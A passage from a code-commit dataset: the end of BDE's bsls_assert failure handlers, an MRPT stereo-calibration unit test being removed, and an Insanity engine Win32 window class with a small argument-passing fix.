\"BSLS_ASSERT failure: '%s'\",\n text);\n\n BSLS_LOG_FATAL(\"Bad 'bsls_assert' configuration: \"\n \"violation handler at %p failed to prevent program \"\n \"from continuing.\",\n currentHandlerAddress);\n }\n\n#ifdef BSLS_ASSERT_ENABLE_NORETURN_FOR_INVOKE_HANDLER\n std::abort();\n#endif\n}\n\n \/\/ Standard Assertion-Failure Handlers\n\nBSLS_ASSERT_NORETURN\nvoid Assert::failAbort(const char *text, const char *file, int line)\n{\n printError(text, file, line);\n\n#ifndef BDE_OMIT_INTERNAL_DEPRECATED\n \/\/ See DRQS 8923441: The following is a work-around for a Fortran compiler bug.\n#endif \/\/ BDE_OMIT_INTERNAL_DEPRECATED\n\n#ifdef BSLS_PLATFORM_OS_AIX\n sigset_t newset;\n sigemptyset(&newset);\n sigaddset(&newset, SIGABRT);\n#if defined(BDE_BUILD_TARGET_MT)\n pthread_sigmask(SIG_UNBLOCK, &newset, 0);\n#else\n sigprocmask(SIG_UNBLOCK, &newset, 0);\n#endif\n#endif\n\n#ifndef BDE_OMIT_INTERNAL_DEPRECATED\n \/\/ See DRQS 13882128: Note that (according to Oleg) the first line alone may be\n \/\/ sufficient.\n#endif \/\/ BDE_OMIT_INTERNAL_DEPRECATED\n\n#ifdef BSLS_PLATFORM_OS_WINDOWS\n \/\/ The following configures the runtime library on how to report asserts,\n \/\/ errors, and warnings in order to avoid pop-up windows when 'abort' is\n \/\/ called.\n if (!IsDebuggerPresent()) {\n _CrtSetReportMode(_CRT_ASSERT, 0);\n _CrtSetReportMode(_CRT_ERROR, 0);\n _CrtSetReportMode(_CRT_WARN, 0);\n }\n#endif\n\n std::abort();\n}\n\nBSLS_ASSERT_NORETURN\nvoid Assert::failSleep(const char *text, const char *file, int line)\n{\n printError(text, file, line);\n\n volatile int sleepDuration = 1;\n\n while (1 == sleepDuration) {\n\n#if defined(BSLS_PLATFORM_OS_UNIX)\n sleep(sleepDuration);\n#elif defined(BSLS_PLATFORM_OS_WINDOWS)\n Sleep(sleepDuration * 1000); \/\/ milliseconds\n#else\n #error \"Do not know how to sleep on this platform.\"\n#endif\n\n }\n\n \/\/ We will never reach this line, but it is needed to let the compiler know\n \/\/ that this function does not return.\n\n std::abort();\n}\n\nBSLS_ASSERT_NORETURN\nvoid Assert::failThrow(const char *text, const char *file, int line)\n{\n\n#ifdef BDE_BUILD_TARGET_EXC\n if (!std::uncaught_exception()) {\n throw AssertTestException(text, file, line);\n }\n else {\n bsls::Log::logMessage(bsls::LogSeverity::e_ERROR, file, line,\n \"BSLS_ASSERT: An uncaught exception is pending;\"\n \" cannot throw 'AssertTestException'.\");\n }\n#endif\n\n failAbort(text, file, line);\n}\n\n} \/\/ close package namespace\n\n#undef BSLS_ASSERT_NORETURN\n\nnamespace bsls {\n\n \/\/ -------------------------------\n \/\/ class AssertFailureHandlerGuard\n \/\/ -------------------------------\n\nAssertFailureHandlerGuard::AssertFailureHandlerGuard(Assert::Handler temporary)\n: d_original(Assert::failureHandler())\n{\n Assert::setFailureHandlerRaw(temporary);\n}\n\nAssertFailureHandlerGuard::~AssertFailureHandlerGuard()\n{\n Assert::setFailureHandlerRaw(d_original);\n}\n\n} \/\/ close package namespace\n\n} \/\/ close enterprise namespace\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Copyright 2013 Bloomberg Finance L.P.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ ----------------------------- END-OF-FILE ----------------------------------\n<|endoftext|>"} {"text":"<commit_before>\/* +---------------------------------------------------------------------------+\n | The Mobile Robot Programming Toolkit (MRPT) C++ library |\n | |\n | http:\/\/www.mrpt.org\/ |\n | |\n | Copyright (C) 2005-2012 University of Malaga |\n | |\n | This software was written by the Machine Perception and Intelligent |\n | Robotics Lab, University of Malaga (Spain). |\n | Contact: Jose-Luis Blanco <jlblanco@ctima.uma.es> |\n | |\n | This file is part of the MRPT project. |\n | |\n | MRPT is free software: you can redistribute it and\/or modify |\n | it under the terms of the GNU General Public License as published by |\n | the Free Software Foundation, either version 3 of the License, or |\n | (at your option) any later version. |\n | |\n | MRPT is distributed in the hope that it will be useful, |\n | but WITHOUT ANY WARRANTY; without even the implied warranty of |\n | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |\n | GNU General Public License for more details. |\n | |\n | You should have received a copy of the GNU General Public License |\n | along with MRPT. If not, see <http:\/\/www.gnu.org\/licenses\/>. |\n | |\n +---------------------------------------------------------------------------+ *\/\n\n#include <mrpt\/vision.h>\n#include <gtest\/gtest.h>\n\n#include \"chessboard_stereo_camera_calib_internal.h\"\n\nusing namespace mrpt;\nusing namespace mrpt::poses;\nusing namespace mrpt::utils;\nusing namespace mrpt::math;\nusing namespace mrpt::vision;\nusing namespace std;\n\n\nclass StereoCalibTests : public ::testing::Test {\nprotected:\n\tvirtual void SetUp()\n\t{\n\t}\n\tvirtual void TearDown() { }\n\n\tvoid testStereoCalibJacobians(\n\t\tdouble x,double y, double z, double yaw, double pitch, double roll )\n\t{\n\t\tconst CPose3D camPose = CPose3D(x2,y2,z2,yaw2,pitch2,roll2);\n\n\t\t\/\/ Prepare a test state:\n\t\t\/\/ --------------------------------------\n\t\tTCalibrationStereoImageList images;\n\t\tvector<size_t> valid_image_pair_indices;\n\t\tvector<TPoint3D> obj_points;\n\n\t\tobj_points.push_back(TPoint3D(-0.4,0.3,0));\n\t\tvalid_image_pair_indices.push_back(0);\n\n\t\tlm_stat_t lm_stat(images, valid_image_pair_indices, obj_points);\n\n\t\tlm_stat.left_cam_poses.push_back( CPose3D(0,0,1) );\n\n\t\t\/\/ [fx fy cx cy k1 k2 k3 t1 t2]\n\t\tconst double cam_l_params[9] = {600, 400, 320,240, 0,0,0,0,0 };\n\t\tconst double cam_r_params[9] = {500, 300, 250,200, 0,0,0,0,0 };\n\t\tlm_stat.left_cam_params = CArrayDouble<9>(cam_l_params);\n\t\tlm_stat.right_cam_params = CArrayDouble<9>(cam_r_params);\n\n\n\t\t\/\/ Evaluate theoretical Jacobians:\n\t\tTResidualJacobianList jacobs; \/\/ Theoretical output Jacobians\n\t\tmrpt::vision::recompute_errors_and_Jacobians( lm_stat, jacobs );\n\n\n\t\t\/\/ Compare:\n\t\t\/\/EXPECT_NEAR(\n\t}\n\n};\n\n\nTEST_F(StereoCalibTests,Jacobians)\n{\n\ttestStereoCalibJacobians(0,0,0,DEG2RAD(0),DEG2RAD(0),DEG2RAD(0));\n\n}\n\n<commit_msg>removed unimplemented unit test<commit_after><|endoftext|>"} {"text":"<commit_before>#define INSANITY_BUILDING_LIBRARY\n\n#include \"CWindowsWin32Window.hpp\"\n\n#if defined(PLATFORM_MSWINDOWS)\n\n#include <IThread.hpp>\n#include <IGarbageCollector.hpp>\n#include <IApplication.hpp>\n#include <IString.hpp>\n#include <TRectangle.hpp>\n#include <IConfigObject.hpp>\n\n#include <windowsx.h>\n#include <CommCtrl.h>\n\n#include <iostream>\n\nnamespace Insanity\n{\n\tIWindow * IWindow::Create(IWindow * ext, IConfigObject const * cfg)\n\t{\n\t\treturn new CWindowsWin32Window(ext, cfg);\n\t}\n\n\tbool CWindowsWin32Window::s_windowClassRegistered = false;\n\tCWindowsWin32EventPumpTask * CWindowsWin32Window::s_pumpTask = nullptr;\n\tu64 CWindowsWin32Window::s_winCount = 0;\n\n\tu64 CWindowsWin32Window::GetWindowCount()\n\t{\n\t\treturn s_winCount;\n\t}\n\n\tCWindowsWin32Window::CWindowsWin32Window(IWindow * ext, IConfigObject const * cfg) :\n\t\t_ext(ext), _rect(nullptr)\n\t{\n\t\tHMODULE hInst = GetModuleHandle(nullptr);\n\n\t\t_InitWindowClass(hInst);\n\t\t_InitEventPump();\n\n\t\t_InitWindow(hInst, cfg->GetProperty(\"title\", \"\"));\n\n\t\ts_winCount++;\n\t}\n\tCWindowsWin32Window::~CWindowsWin32Window()\n\t{\n\t\tif(--s_winCount == 0)\n\t\t{\n\t\t\ts_pumpTask->Release(); \/\/The windows don't need it anymore.\n\t\t\t\/\/the pump task will not be deleted until it's dequeued from the thread task list.\n\t\t}\n\t\t\n\t\t\/\/A comment on SetWindowSubclass says to remove the subclass before destroying the window.\n\t\tRemoveWindowSubclass(_win,WindowProc,0);\n\t\tDestroyWindow(_win);\n\t\t_rect->Release();\n\t}\n\n\tvoid CWindowsWin32Window::_InitWindowClass(HINSTANCE hInst)\n\t{\n\t\tif (!s_windowClassRegistered)\n\t\t{\n\t\t\tWNDCLASSEXW wcex;\n\t\t\tZeroMemory(&wcex, sizeof(wcex));\n\t\t\twcex.cbClsExtra = 0;\t\t\t\t\t\t\/\/Won't be able to access\n\t\t\twcex.cbSize = sizeof(wcex);\t\t\t\t\t\/\/Constant\n\t\t\twcex.cbWndExtra = 0;\t\t\t\t\t\t\/\/Won't be able to access\n\t\t\twcex.hbrBackground = (HBRUSH) (COLOR_WINDOW);\/\/More or less constant.\n\t\t\twcex.hCursor = (HCURSOR) LoadImage(hInst, IDC_ARROW, IMAGE_CURSOR, 0, 0, LR_SHARED); \/\/Can be assigned later\n\t\t\twcex.hIcon = (HICON) LoadImage(hInst, IDI_APPLICATION, IMAGE_ICON, 0, 0, LR_SHARED); \/\/Can be assigned later\n\t\t\twcex.hIconSm = (HICON) LoadImage(hInst, IDI_APPLICATION, IMAGE_ICON, 0, 0, LR_SHARED); \/\/Can be assigned later\n\t\t\twcex.hInstance = hInst;\t\t\t\t\t\t\/\/Constant\n\t\t\twcex.lpfnWndProc = InitialWindowProc;\t\t\/\/Will assign WindowProc after window creation\n\t\t\twcex.lpszClassName = L\"InsanityWindowClass\";\/\/Constant\n\t\t\twcex.lpszMenuName = nullptr;\t\t\t\t\/\/Can be assigned if\/when a Menu is added.\n\t\t\twcex.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS; \/\/First two needed, third needed for uniformity with other platforms.\n\n\t\t\tRegisterClassExW(&wcex);\n\n\t\t\ts_windowClassRegistered = true;\n\t\t}\n\t}\n\tvoid CWindowsWin32Window::_InitWindow(HINSTANCE hInst, IConfigObject const * cfg)\n\t{\n\t\t\/\/_rect stores the dimensions of the client area of the window.\n\t\t_rect = new TRectangle<s16, u16>(static_cast<s16>(cfg->GetProperty(\"dims.x\", (s64)0)),\n\t\t\tstatic_cast<s16>(cfg->GetProperty(\"dims.y\", (s64)0)),\n\t\t\tstatic_cast<u16>(cfg->GetProperty(\"dims.width\", (s64)640)),\n\t\t\tstatic_cast<u16>(cfg->GetProperty(\"dims.height\", (s64)480)));\n\t\t_rect->Retain();\n\t\t\n\t\t\/\/Need to adjust for non-client area of window for CreateWindow.\n\t\tRECT adj;\n\t\tadj.left = _rect->GetLeft();\n\t\tadj.top = _rect->GetTop();\n\t\tadj.right = _rect->GetRight();\n\t\tadj.bottom = _rect->GetBottom();\n\t\tAdjustWindowRectEx(&adj, WS_OVERLAPPEDWINDOW, FALSE, WS_EX_OVERLAPPEDWINDOW);\n\t\t\n\t\t\/\/convert the title to a wchar_t string. Let the garbage collector take care of it.\n\t\tIString<wchar_t> * wtitle = IString<wchar_t>::Create(cfg->GetProperty(\"title\", \"\"));\n\n\t\t_win = CreateWindowExW(WS_EX_OVERLAPPEDWINDOW,\t\/\/will either want this or options for fullscreen\n\t\t\tL\"InsanityWindowClass\",\t\t\t\t\t\t\/\/Constant\n\t\t\twtitle->Array(),\t\t\t\t\t\t\t\/\/Good candidate for Config file\n\t\t\tWS_OVERLAPPEDWINDOW,\t\t\t\t\t\t\/\/as dwExStyle\n\t\t\tadj.left, adj.top,\n\t\t\tadj.right - adj.left, adj.bottom - adj.top,\t\/\/Dimensions are another good candidate\n\t\t\tHWND_DESKTOP,\t\t\t\t\t\t\t\t\/\/If in Config file, would need a way to specify another window\n\t\t\tNULL,\t\t\t\t\t\t\t\t\t\t\/\/Menu can be assigned later\n\t\t\thInst,\t\t\t\t\t\t\t\t\t\t\/\/Constant\n\t\t\tnullptr);\t\t\t\t\t\t\t\t\t\/\/Constant (unused)\n\n\t\tSetWindowSubclass(_win, WindowProc, 0, reinterpret_cast<DWORD_PTR>(this));\n\n\t\tShowWindow(_win, SW_SHOWDEFAULT);\n\t}\n\tvoid CWindowsWin32Window::_InitEventPump()\n\t{\n\t\tif (s_pumpTask == nullptr)\n\t\t{\n\t\t\t\/\/creates a pump task, assigns it to the static pointer, and passes it to RegisterTask.\n\t\t\tIApplication::GetInstance()->RegisterTask(s_pumpTask = new CWindowsWin32EventPumpTask());\n\t\t}\n\t\t\n\t\t\/\/Other platforms have to register an event procedure with the event pump task.\n\t\t\/\/\tSince that's basically an emulation of Windows' event setup, we use the native setup here.\n\t}\n\t\n\tLRESULT CALLBACK CWindowsWin32Window::InitialWindowProc(HWND wnd, UINT msg, WPARAM wParam, LPARAM lParam)\n\t{\n\t\t\/\/this will receive at least WM_NCCREATE, WM_NCCALCSIZE, and WM_CREATE before assigning WindowProc subclass.\n\t\treturn DefWindowProcW(wnd,msg,wParam,lParam);\n\t}\n\tLRESULT CALLBACK CWindowsWin32Window::WindowProc(HWND wnd, UINT msg, WPARAM wParam, LPARAM lParam, UINT_PTR uSubclassId, DWORD_PTR dwRefData)\n\t{\n\t\t\/\/this is the main method for processing window messages.\n\t\tCWindowsWin32Window * self = reinterpret_cast<CWindowsWin32Window*>(dwRefData);\n\t\tself->Retain();\n\n\t\tIWindow * call = (self->_ext ? self->_ext : self);\n\n\t\tPOINTS pt = MAKEPOINTS(lParam);\n\t\tWORD highWParam = HIWORD(wParam);\n\n\t\tswitch(msg)\n\t\t{\n\t\tcase WM_LBUTTONDOWN:\n\t\t\tcall->MouseHandler(EMouseButton::Left, EMouseButtonState::Down, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_LBUTTONUP:\n\t\t\tcall->MouseHandler(EMouseButton::Left, EMouseButtonState::Up, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_LBUTTONDBLCLK:\n\t\t\tcall->MouseHandler(EMouseButton::Left, EMouseButtonState::DoubleClick, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_RBUTTONDOWN:\n\t\t\tcall->MouseHandler(EMouseButton::Right, EMouseButtonState::Down, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_RBUTTONUP:\n\t\t\tcall->MouseHandler(EMouseButton::Right, EMouseButtonState::Up, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_RBUTTONDBLCLK:\n\t\t\tcall->MouseHandler(EMouseButton::Right, EMouseButtonState::DoubleClick, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MBUTTONDOWN:\n\t\t\tcall->MouseHandler(EMouseButton::Middle, EMouseButtonState::Down, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MBUTTONUP:\n\t\t\tcall->MouseHandler(EMouseButton::Middle, EMouseButtonState::Up, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MBUTTONDBLCLK:\n\t\t\tcall->MouseHandler(EMouseButton::Middle, EMouseButtonState::DoubleClick, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_XBUTTONDOWN:\n\t\t\tcall->MouseHandler((highWParam == 1 ? EMouseButton::X1 : EMouseButton::X2), EMouseButtonState::Down, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_XBUTTONUP:\n\t\t\tcall->MouseHandler((highWParam == 1 ? EMouseButton::X1 : EMouseButton::X2), EMouseButtonState::Up, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_XBUTTONDBLCLK:\n\t\t\tcall->MouseHandler((highWParam == 1 ? EMouseButton::X1 : EMouseButton::X2), EMouseButtonState::DoubleClick, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_KEYUP:\n\t\t\tcall->KeyHandler((EKey) wParam, EKeyState::Up);\n\t\t\tbreak;\n\t\tcase WM_KEYDOWN:\n\t\t\tcall->KeyHandler((EKey) wParam, EKeyState::Down);\n\t\t\tbreak;\n\t\tcase WM_CLOSE:\n\t\t\tstd::cout << \"Close message received.\" << std::endl;\n\t\t\tcall->CloseHandler();\n\t\t\tbreak;\n\t\tcase WM_SHOWWINDOW:\n\t\t\tcall->ShowHandler(wParam == TRUE);\n\t\t\tbreak;\n\t\tcase WM_DESTROY:\n\t\t\t\/\/should only be sent when the window object is destroyed.\n\t\t\t\/\/should do any code on window destruction in the dtor, not here or a handler.\n\t\t\tbreak;\n\t\tcase WM_MOVE:\n\t\t\t\/\/coordinates reported are the upper-left corner of the client area in screen coordinates.\n\t\t\tcall->MoveHandler(pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_SIZE:\n\t\t\tcall->ResizeHandler(pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MOUSEMOVE:\n\t\t\tcall->MouseHandler(EMouseButton::Null, EMouseButtonState::Null, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MOUSEWHEEL:\n\t\t\t{\n\t\t\t\t\/\/need the sign from highWParam\n\t\t\t\tSHORT delta = (SHORT)highWParam;\n\t\t\t\t\n\t\t\t\t\/\/the second parameter to ScrollHandler is a simple magnitude (unsigned), so take the absolute value.\n\t\t\t\tcall->ScrollHandler((delta > 0 ? EMouseScrollDirection::Up : EMouseScrollDirection::Down), abs(delta \/ WHEEL_DELTA));\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tself->Release();\n\t\treturn DefSubclassProc(wnd,msg,wParam,lParam);\n\t}\n\t\n\tHWND CWindowsWin32Window::GetWindow() const\n\t{\n\t\treturn _win;\n\t}\n\n\t\/\/=====================================================\n\t\/\/Interface: IWindow\n\t\/\/=====================================================\n\tTRectangle<s16,u16> const * CWindowsWin32Window::GetRect() const\n\t{\n\t\treturn _rect;\n\t}\n\tvoid CWindowsWin32Window::MouseHandler(EMouseButton button, EMouseButtonState state, u16 x, u16 y)\n\t{\n\t}\n\tvoid CWindowsWin32Window::KeyHandler(EKey key, EKeyState state)\n\t{\n\t}\n\tvoid CWindowsWin32Window::ScrollHandler(EMouseScrollDirection dir, u16 delta)\n\t{\n\t}\n\tvoid CWindowsWin32Window::ShowHandler(bool show)\n\t{\n\t}\n\tvoid CWindowsWin32Window::MoveHandler(s16 x, s16 y)\n\t{\n\t\t_rect->SetX(x);\n\t\t_rect->SetY(y);\n\t}\n\tvoid CWindowsWin32Window::ResizeHandler(u16 width, u16 height)\n\t{\n\t\t_rect->SetWidth(width);\n\t\t_rect->SetHeight(height);\n\t}\n\tvoid CWindowsWin32Window::CloseHandler()\n\t{\n\t}\n\tvoid CWindowsWin32Window::Mouse(EMouseButton button, EMouseButtonState state, u16 x, u16 y)\n\t{\n\t\tUINT msg = 0;\n\t\tWORD xButton = 0;\n\t\tswitch (button)\n\t\t{\n\t\tcase EMouseButton::Left:\n\t\t\tmsg = WM_LBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::Middle:\n\t\t\tmsg = WM_MBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::Right:\n\t\t\tmsg = WM_RBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::X1:\n\t\t\txButton = 1;\n\t\t\tmsg = WM_XBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::X2:\n\t\t\txButton = 2;\n\t\t\tmsg = WM_XBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::Null:\n\t\t\tmsg = WM_MOUSEMOVE;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (button != EMouseButton::Null) \/\/ignore the state; should be Null, but don't count on it.\n\t\t{\n\t\t\tswitch (state)\n\t\t\t{\n\t\t\tcase EMouseButtonState::Down:\n\t\t\t\t\/\/no-op, Down is already set.\n\t\t\t\tbreak;\n\t\t\tcase EMouseButtonState::Up:\n\t\t\t\tmsg += 1;\n\t\t\t\tbreak;\n\t\t\tcase EMouseButtonState::DoubleClick:\n\t\t\t\tmsg += 2;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tDWORD tmpX = x;\n\t\tDWORD tmpY = y;\n\t\tLPARAM lParam = (tmpY << 16) | tmpX;\n\t\tPostMessage(_win, msg, xButton << 16, lParam);\n\t}\n\tvoid CWindowsWin32Window::Key(EKey key, EKeyState state)\n\t{\n\t\t\/\/LPARAM is a bunch of state flags we have no way of tracking, so ignore it.\n\t\tPostMessage(_win, (state == EKeyState::Down ? WM_KEYDOWN : WM_KEYUP), (WPARAM)key, 0);\n\t}\n\tvoid CWindowsWin32Window::Scroll(EMouseScrollDirection dir, u16 delta)\n\t{\n\t\t\/\/mask off the sign bit (shouldn't cause problems)\n\t\tSHORT postDelta = delta & 0x7fff;\n\t\tpostDelta *= (dir == EMouseScrollDirection::Up ? 1 : -1);\n\t\t\n\t\t\/\/Last parameter should be the current mouse position, but that's not provided nor tracked internally.\n\t\tPostMessage(_win, WM_MOUSEWHEEL, (static_cast<DWORD>(postDelta)) << 16, 0);\n\t}\n\tvoid CWindowsWin32Window::Show(bool show)\n\t{\n\t\tShowWindow(_win, (show ? SW_SHOWNORMAL : SW_HIDE));\n\t}\n\tvoid CWindowsWin32Window::Move(s16 x, s16 y)\n\t{\n\t\tMoveWindow(_win,x,y,0,0,TRUE);\n\t}\n\tvoid CWindowsWin32Window::Resize(u16 width, u16 height)\n\t{\n\t\tMoveWindow(_win,0,0,width,height,TRUE);\n\t}\n\tvoid CWindowsWin32Window::Close()\n\t{\n\t\tPostMessage(_win, WM_CLOSE, 0, 0);\n\t}\n}\n\n#endif\n<commit_msg>Pass the correct object to _InitWindow.<commit_after>#define INSANITY_BUILDING_LIBRARY\n\n#include \"CWindowsWin32Window.hpp\"\n\n#if defined(PLATFORM_MSWINDOWS)\n\n#include <IThread.hpp>\n#include <IGarbageCollector.hpp>\n#include <IApplication.hpp>\n#include <IString.hpp>\n#include <TRectangle.hpp>\n#include <IConfigObject.hpp>\n\n#include <windowsx.h>\n#include <CommCtrl.h>\n\n#include <iostream>\n\nnamespace Insanity\n{\n\tIWindow * IWindow::Create(IWindow * ext, IConfigObject const * cfg)\n\t{\n\t\treturn new CWindowsWin32Window(ext, cfg);\n\t}\n\n\tbool CWindowsWin32Window::s_windowClassRegistered = false;\n\tCWindowsWin32EventPumpTask * CWindowsWin32Window::s_pumpTask = nullptr;\n\tu64 CWindowsWin32Window::s_winCount = 0;\n\n\tu64 CWindowsWin32Window::GetWindowCount()\n\t{\n\t\treturn s_winCount;\n\t}\n\n\tCWindowsWin32Window::CWindowsWin32Window(IWindow * ext, IConfigObject const * cfg) :\n\t\t_ext(ext), _rect(nullptr)\n\t{\n\t\tHMODULE hInst = GetModuleHandle(nullptr);\n\n\t\t_InitWindowClass(hInst);\n\t\t_InitEventPump();\n\n\t\t_InitWindow(hInst, cfg);\n\n\t\ts_winCount++;\n\t}\n\tCWindowsWin32Window::~CWindowsWin32Window()\n\t{\n\t\tif(--s_winCount == 0)\n\t\t{\n\t\t\ts_pumpTask->Release(); \/\/The windows don't need it anymore.\n\t\t\t\/\/the pump task will not be deleted until it's dequeued from the thread task list.\n\t\t}\n\t\t\n\t\t\/\/A comment on SetWindowSubclass says to remove the subclass before destroying the window.\n\t\tRemoveWindowSubclass(_win,WindowProc,0);\n\t\tDestroyWindow(_win);\n\t\t_rect->Release();\n\t}\n\n\tvoid CWindowsWin32Window::_InitWindowClass(HINSTANCE hInst)\n\t{\n\t\tif (!s_windowClassRegistered)\n\t\t{\n\t\t\tWNDCLASSEXW wcex;\n\t\t\tZeroMemory(&wcex, sizeof(wcex));\n\t\t\twcex.cbClsExtra = 0;\t\t\t\t\t\t\/\/Won't be able to access\n\t\t\twcex.cbSize = sizeof(wcex);\t\t\t\t\t\/\/Constant\n\t\t\twcex.cbWndExtra = 0;\t\t\t\t\t\t\/\/Won't be able to access\n\t\t\twcex.hbrBackground = (HBRUSH) (COLOR_WINDOW);\/\/More or less constant.\n\t\t\twcex.hCursor = (HCURSOR) LoadImage(hInst, IDC_ARROW, IMAGE_CURSOR, 0, 0, LR_SHARED); \/\/Can be assigned later\n\t\t\twcex.hIcon = (HICON) LoadImage(hInst, IDI_APPLICATION, IMAGE_ICON, 0, 0, LR_SHARED); \/\/Can be assigned later\n\t\t\twcex.hIconSm = (HICON) LoadImage(hInst, IDI_APPLICATION, IMAGE_ICON, 0, 0, LR_SHARED); \/\/Can be assigned later\n\t\t\twcex.hInstance = hInst;\t\t\t\t\t\t\/\/Constant\n\t\t\twcex.lpfnWndProc = InitialWindowProc;\t\t\/\/Will assign WindowProc after window creation\n\t\t\twcex.lpszClassName = L\"InsanityWindowClass\";\/\/Constant\n\t\t\twcex.lpszMenuName = nullptr;\t\t\t\t\/\/Can be assigned if\/when a Menu is added.\n\t\t\twcex.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS; \/\/First two needed, third needed for uniformity with other platforms.\n\n\t\t\tRegisterClassExW(&wcex);\n\n\t\t\ts_windowClassRegistered = true;\n\t\t}\n\t}\n\tvoid CWindowsWin32Window::_InitWindow(HINSTANCE hInst, IConfigObject const * cfg)\n\t{\n\t\t\/\/_rect stores the dimensions of the client area of the window.\n\t\t_rect = new TRectangle<s16, u16>(static_cast<s16>(cfg->GetProperty(\"dims.x\", (s64)0)),\n\t\t\tstatic_cast<s16>(cfg->GetProperty(\"dims.y\", (s64)0)),\n\t\t\tstatic_cast<u16>(cfg->GetProperty(\"dims.width\", (s64)640)),\n\t\t\tstatic_cast<u16>(cfg->GetProperty(\"dims.height\", (s64)480)));\n\t\t_rect->Retain();\n\t\t\n\t\t\/\/Need to adjust for non-client area of window for CreateWindow.\n\t\tRECT adj;\n\t\tadj.left = _rect->GetLeft();\n\t\tadj.top = _rect->GetTop();\n\t\tadj.right = _rect->GetRight();\n\t\tadj.bottom = _rect->GetBottom();\n\t\tAdjustWindowRectEx(&adj, WS_OVERLAPPEDWINDOW, FALSE, WS_EX_OVERLAPPEDWINDOW);\n\t\t\n\t\t\/\/convert the title to a wchar_t string. Let the garbage collector take care of it.\n\t\tIString<wchar_t> * wtitle = IString<wchar_t>::Create(cfg->GetProperty(\"title\", \"\"));\n\n\t\t_win = CreateWindowExW(WS_EX_OVERLAPPEDWINDOW,\t\/\/will either want this or options for fullscreen\n\t\t\tL\"InsanityWindowClass\",\t\t\t\t\t\t\/\/Constant\n\t\t\twtitle->Array(),\t\t\t\t\t\t\t\/\/Good candidate for Config file\n\t\t\tWS_OVERLAPPEDWINDOW,\t\t\t\t\t\t\/\/as dwExStyle\n\t\t\tadj.left, adj.top,\n\t\t\tadj.right - adj.left, adj.bottom - adj.top,\t\/\/Dimensions are another good candidate\n\t\t\tHWND_DESKTOP,\t\t\t\t\t\t\t\t\/\/If in Config file, would need a way to specify another window\n\t\t\tNULL,\t\t\t\t\t\t\t\t\t\t\/\/Menu can be assigned later\n\t\t\thInst,\t\t\t\t\t\t\t\t\t\t\/\/Constant\n\t\t\tnullptr);\t\t\t\t\t\t\t\t\t\/\/Constant (unused)\n\n\t\tSetWindowSubclass(_win, WindowProc, 0, reinterpret_cast<DWORD_PTR>(this));\n\n\t\tShowWindow(_win, SW_SHOWDEFAULT);\n\t}\n\tvoid CWindowsWin32Window::_InitEventPump()\n\t{\n\t\tif (s_pumpTask == nullptr)\n\t\t{\n\t\t\t\/\/creates a pump task, assigns it to the static pointer, and passes it to RegisterTask.\n\t\t\tIApplication::GetInstance()->RegisterTask(s_pumpTask = new CWindowsWin32EventPumpTask());\n\t\t}\n\t\t\n\t\t\/\/Other platforms have to register an event procedure with the event pump task.\n\t\t\/\/\tSince that's basically an emulation of Windows' event setup, we use the native setup here.\n\t}\n\t\n\tLRESULT CALLBACK CWindowsWin32Window::InitialWindowProc(HWND wnd, UINT msg, WPARAM wParam, LPARAM lParam)\n\t{\n\t\t\/\/this will receive at least WM_NCCREATE, WM_NCCALCSIZE, and WM_CREATE before assigning WindowProc subclass.\n\t\treturn DefWindowProcW(wnd,msg,wParam,lParam);\n\t}\n\tLRESULT CALLBACK CWindowsWin32Window::WindowProc(HWND wnd, UINT msg, WPARAM wParam, LPARAM lParam, UINT_PTR uSubclassId, DWORD_PTR dwRefData)\n\t{\n\t\t\/\/this is the main method for processing window messages.\n\t\tCWindowsWin32Window * self = reinterpret_cast<CWindowsWin32Window*>(dwRefData);\n\t\tself->Retain();\n\n\t\tIWindow * call = (self->_ext ? self->_ext : self);\n\n\t\tPOINTS pt = MAKEPOINTS(lParam);\n\t\tWORD highWParam = HIWORD(wParam);\n\n\t\tswitch(msg)\n\t\t{\n\t\tcase WM_LBUTTONDOWN:\n\t\t\tcall->MouseHandler(EMouseButton::Left, EMouseButtonState::Down, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_LBUTTONUP:\n\t\t\tcall->MouseHandler(EMouseButton::Left, EMouseButtonState::Up, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_LBUTTONDBLCLK:\n\t\t\tcall->MouseHandler(EMouseButton::Left, EMouseButtonState::DoubleClick, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_RBUTTONDOWN:\n\t\t\tcall->MouseHandler(EMouseButton::Right, EMouseButtonState::Down, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase 